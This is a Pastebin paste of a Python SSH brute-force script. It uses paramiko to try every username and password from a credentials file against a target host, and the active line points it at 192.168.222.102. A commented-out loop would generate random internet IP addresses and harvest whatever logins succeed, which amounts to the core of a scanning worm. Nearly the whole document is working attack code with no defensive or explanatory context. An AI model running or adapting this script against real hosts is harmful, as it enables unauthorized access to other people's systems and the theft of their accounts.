Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import json
- import random
- import socket
- import paramiko
- from contextlib import contextmanager
- import inspect
- import os
- BASE_DIR = os.path.dirname(os.path.abspath(
- inspect.getfile(inspect.currentframe())))
- with open(BASE_DIR + '/credentials.json') as json_data:
- credentials = json.load(json_data)
- def try_login(client, ip, username, password):
- success = True
- try:
- client.connect(ip, username=username,
- password=password, timeout=1)
- except paramiko.AuthenticationException as e:
- print(" {}".format(e))
- success = False
- except (socket.timeout, paramiko.ssh_exception.NoValidConnectionsError) as e:
- print(" {}".format(e))
- success = "Never"
- except:
- print(" Unkown error")
- # Others unknown error.
- success = "Never"
- finally:
- client.close()
- return success
- def bruteforce(client, ip):
- print("{}:".format(ip))
- for username in credentials['usernames']:
- for password in credentials['passwords']:
- print(" {}:{}".format(username, password))
- attempt = try_login(client, ip, username, password)
- if attempt == "Never":
- break
- elif attempt == True:
- return (ip, username, password)
- elif attempt == False:
- continue
- else:
- continue
- break
- return False
- def make_ip():
- template = "{}.{}.{}.{}"
- return template.format(random_byte(1), random_byte(0),
- random_byte(0), random_byte(0))
- def random_byte(frm):
- return random.randint(0, 255)
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- # creds = []
- # while True:
- # ip = make_ip()
- # cred = bruteforce(client, ip)
- # if cred == None:
- # continue
- # creds.append(cred)
- print(bruteforce(client, "192.168.222.102"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement